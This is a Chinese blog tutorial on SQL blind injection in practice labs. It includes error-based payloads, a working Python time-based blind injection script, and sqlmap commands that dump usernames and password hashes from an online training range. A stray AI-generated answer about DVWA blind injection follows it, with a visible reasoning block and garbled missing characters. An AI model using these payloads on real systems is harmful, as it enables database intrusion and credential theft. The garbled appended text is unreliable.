SQL盲注之python脚本爆破及sqlmap基础操作

本文深入探讨了SQL盲注的原理与分类,包括布尔型、报错型和时间型盲注,并提供了手工报错盲注和基于时间的脚本化盲注的实例。此外,还介绍了自动化工具sqlmap的使用,展示了如何通过sqlmap快速获取数据库信息。
部署运行你感兴趣的模型镜像

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、SQL盲注是什么?
  • 二、介绍与使用
    • 1.盲注的三种分类
    • 2.基于报错的盲注
    • 3.基于时间的脚本化盲注
  • sqlmap的使用


前言

        哈,我是爱挖洞的萝卜头,从今天开始来csdn分享学习过过程,学习经历,望各位大佬指教指教,嘿嘿嘿。

一、SQL盲注是什么?

        经历过前面的数字型注入,字符型注入,提交方式注入等,我们对sql注入有了基本的认识,然而在大部分情况下,注入语句是无回显的,无法从浏览器上看到数据库的相关信息,这个时候我们就需要用到相关的报错或盲注进行后续操作。同时为手工注入时,提前预知或了解其SQL语句的大概写法。所谓盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。

二、介绍与使用

1.1.盲注的三种分类

        盲注大致可以分为下面三类:

                1.bool型:

                        即真假逻辑判断,常见使用sql函数:

                        like 'ro%'     #判断ro或ro.. .是否成立
                        regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
                        if(条件,5,0)    #条件成立返回5反之返回0
                        sleep(5)     #sQI语句延时执行5秒
                        mid(a,b,c)     #从位置b开始,截取a字符串的c位
                        substr(a,b,c)    #从b位置开始,截取字符串a的c长度
                        left(database(),1),database() #left(a,b)从左侧截取a的前b位
                        length(database())=8   #判断数据库database ()名的长度
                        ord=ascii ascii(x)=97   #判断x的asci i码是否等于97

                2.报错的盲注:

                        floor,updatexml,extractvalue
                3.时间的盲注:

                        sleep

        这篇文章主要讲一下手工的报错盲注和,脚本化的时间盲注,当然最后会给大家介绍sql注入神器sqlmap,这里指在搞清楚注入原理。

                        

2.基于报错的盲注

        OK,讲到报错盲注这里我们需要借助一些工具和一些漏洞测试平台。我们开启我们的漏洞测试平台pikachu,再打开的burp抓包工具。(相信浏览器与burp的代理大家都会操作)

         

               运用我们上面介绍的updatexml函数,具体写法:     

username=wjlbt' or updatexml(1,concat(0x7e,(database())),0) or
'&password=123456&sex=man&phonenum=123456&email=123456&add=123456&submit=submit

         

 

         database()即获取当前数据库名,database()可以替换成任意SQL语句,以此来爆破表名,列名和相关数据。如果不知道怎么接着写,可以先去学一点数据库的知识

        而其他的extracvalue也是一样的操作方法

' or extractvalue(1,concat(0x7e,database())) or
'

        floor有点不同

' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '

 

        至于为什么要在前后加上引号,我们来看源码的SQL语句输入 

        

         这其实就是用引号来闭合语句,实际操作中可能是 '、''、')、'')等等,多试几次就可以了

    3.基于时间的脚本化盲注   

                其实写这篇文章就是为了展示这段脚本代码,写着写着就加了不少东西进去了

这是在SQLis漏洞平台的less-5中,参考了是阿明啊的SQLis通关。

 OK,上代码:

# coding:utf-8
import requests
import datetime
import time

def database_name():
    name = ''
    for j in range(1,40):#这个写大一点没事
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_D':
            url = "http://192.168.101.1/sqli-labs-master/Less-5/"
            # 根据网站响应速度选择时间
            payload = "?id=1' and sleep(if(substr(database(),%d,1)='%s',2,0)) --+" % (j,i)
            # 爆表
            # payload="?id=1' and sleep(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',2,0)) --+" % (j,i)
            # 暴列
            # payload = "?id=1' and sleep(if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s',2,0)) --+" % (j, i)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=2:
                name += i
                print(name)
                break
    print('database_name:', name)


if __name__ == '__main__':
    database_name()

 显示数据库名:

爆表 

 

后面暴列和数据差不多

sqlmap的使用:

        这里我们使用墨者学院的在线靶场做实验

 

 

 

 sqlmap下载安装完成后:

执行python sqlmap.py -u URL --dbs       即获取注入点所有数据库

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" --dbs

  python sqlmap.py -u URL  -D"(获取的数据库名)" --tables     获取当前数据库下所有表

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup"  --tables

  python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" --columns      获取列名

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" --columns

 python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" -C"(获取的列名)" --dump      打印数据

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" -C"name,password" --dump

 密码经过MD5加密,网上搜一下解密就OK啦

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

<think> 我们正在讨论DVWA中的SQL(Blind SQL Injection)问题。用户希望了解其原理和通关方法。根据引用内容,的特点是应用程序仅返回True或False(页面不同),我们需要通过构造逻辑判断来获取信息。下面我将分步骤解释原理和通关方法。 原理: 1. 布尔:应用程序在SQL查询后,不会返回数据库错误信息或具体数据,仅根据查询结果返回不同的页面(例如存在数据时显示某种内容,不存在时显示另一种)。攻击者通过构造条件语句(如基于布尔的条件),观察页面反应来推断信息。 2. 时间:如果页面没有明显的布尔差异,我们可以利用时间延迟函数(如SLEEP())来观察响应时间,从而判断条件真假。 通关方法(以DVWA的Low级别为例): 步骤1:确定入点 - 输入单引号 `'` 观察页面是否异常(如返回空或错误),若页面变化则可能存在入。 - 引用[4]提到基于布尔型,我们可以通过比较大小来获取信息。 步骤2:判断入类型 - 输入 `1' and 1=1 -- ` 和 `1' and 1=2 -- `,观察页面差异。如果第一个返回正常,第二个返回异常,说明存在布尔。 步骤3:获取数据库信息 - 获取数据库名长度:`1' and length(database())=1 -- ` 依次增加数字,直到页面返回正常,即可得到长度。 - 获取数据库名:`1' and substr(database(),1,1)='a' -- ` 遍历字母和数字,逐个字符猜测。 步骤4:获取表名、列名、数据 - 类似步骤3,使用子查询逐步获取信息。例如: - 猜测第一个表名的第一个字符:`1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a' -- ` 步骤5:自动化工具(如sqlmap) - 引用[3]中使用sqlmap的命令示例:`sqlmap -r "请求文件" --second-url "URL" --batch --dbs`,其中`-r`用于读取包含HTTP请求的文件,`--second-url`用于指定验证入的URL。 意:在Medium级别(引用[5])中,代码使用了`mysql_real_escape_string`函数转义特殊字符,并且使用下拉菜单。此时需要抓包修改参数进行入(因为下拉菜单不可编辑,但通过Burp Suite等工具拦截请求后修改参数)。 防御措施: - 使用参数化查询(预编译语句)。 - 对用户输入进行严格的过滤和转义。 - 最小化数据库权限。 相关问题: 1. 布尔和时间的主要区别是什么? 2. 在DVWA的High级别中,SQL有哪些特点? 3. 如何手动进行时间? 4. sqlmap工具在中如何使用时间延迟技术? 现在按照上述思路编写回答。 </think> ### DVWA SQL(Blind SQL Injection)原理与通关方法 #### **一、SQL原理** 1. **核心机制** 当应用程序存在SQL入漏洞但**不直接返回数据库错误或查询结果**时,攻击者通过构造布尔逻辑条件(`AND`/`OR`),观察页面响应差异(True/False)逐步推断数据。 - **布尔**:通过页面内容变化(如"User ID exists" vs "User ID is MISSING")判断条件真假[^4]。 ```sql 1' AND (SELECT SUBSTRING(database(),1,1))='d' -- -- 若页面返回正常,说明数据库名首字母为'd' ``` - **时间**:利用延时函数(如`SLEEP()`)观察响应时间差异: ```sql 1' AND IF((SELECT database())='dvwa', SLEEP(5),0) -- -- 若响应延迟5秒,说明数据库名为'dvwa'[^3] ``` 2. **与普通SQL入的区别** | 特性 | 普通SQL入 | SQL | |---------------|-------------------|----------------------| | **错误反馈** | 直接返回数据库错误 | 无错误信息 | | **数据获取** | 直接显示查询结果 | 需逐字符推断 | | **攻击效率** | 高(单次查询) | 低(需多次请求)[^1] | --- #### **二、DVWA通关步骤(以Low级别为例)** **步骤1:确认入点** - 输入单引号测试:`1'`,观察页面是否异常(如空白或内容变化)。 - 输入逻辑测试: ```sql 1' AND 1=1 -- --> 页面正常(True) 1' AND 1=2 -- --> 页面异常(False) ``` 确认存在布尔漏洞[^4]。 **步骤2:获取数据库名** - 猜解数据库名长度: ```sql 1' AND LENGTH(database())=4 -- -- 若页面正常,则数据库名长度为4字符 ``` - 逐字符猜解名称(ASCII码爆破): ```sql 1' AND ASCII(SUBSTRING(database(),1,1))=100 -- -- 100是'd'的ASCII码,页面正常则首字母为'd'(dvwa) ``` **步骤3:获取表名** - 猜解表名数量: ```sql 1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())=2 -- ``` - 逐字符猜解表名(如`users`表): ```sql 1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117 -- -- 117是'u'的ASCII码(users表首字母) ``` **步骤4:获取列名与数据** - 猜解列名(如`user`列): ```sql 1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=117 -- ``` - 提取数据(如管理员密码): ```sql 1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE user_id=1)='a' -- ``` --- #### **三、中高等级(Medium/High)绕过技巧** 1. **Medium级别** - 引用[5]:下拉表单+特殊符号过滤(`mysql_real_escape_string`转义`\x00, \n, '`等)。 - **绕过方法**: - 使用Burp Suite拦截POST请求,手动修改参数值(绕过前端限制)。 - 数字型入无需引号:`id=1 AND 1=1`。 - 十六进制编码表名:`table_name=0x7573657273`(`users`的十六进制)。 2. **High级别** - 通常需通过新页面或Cookie入,结合时间: ```sql ' AND IF(EXISTS(SELECT * FROM users), SLEEP(5),0) -- ``` --- #### **四、自动化工具(sqlmap)** 引用[3]示例命令: ```bash sqlmap -r "request.txt" --second-url "http://dvwa/vulnerabilities/sqli_blind/" --batch --dbs ``` - **参数说明**: - `-r`:包含HTTP请求的文件(需先抓包保存)。 - `--second-url`:验证漏洞的URL。 - `--batch`:自动选择默认选项。 - `--dbs`:获取所有数据库名。 --- #### **五、防御措施** 1. **输入过滤**:转义特殊字符(如`mysql_real_escape_string`)。 2. **参数化查询**:使用预处理语句(PDO/MySQLi)。 3. **最小权限原则**:数据库账户禁用`SELECT`以外的权限。 4. **错误处理**:关闭数据库错误回显。 --- ### 相关问题 1. 布尔和时间在渗透测试中各有什么优劣? 2. 如何手动实现SQL的字符爆破脚本Python示例)? 3. 在DVWA High级别的SQL中,Cookie入如何操作? 4. sqlmap工具的`--second-url`参数在中为何重要?
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值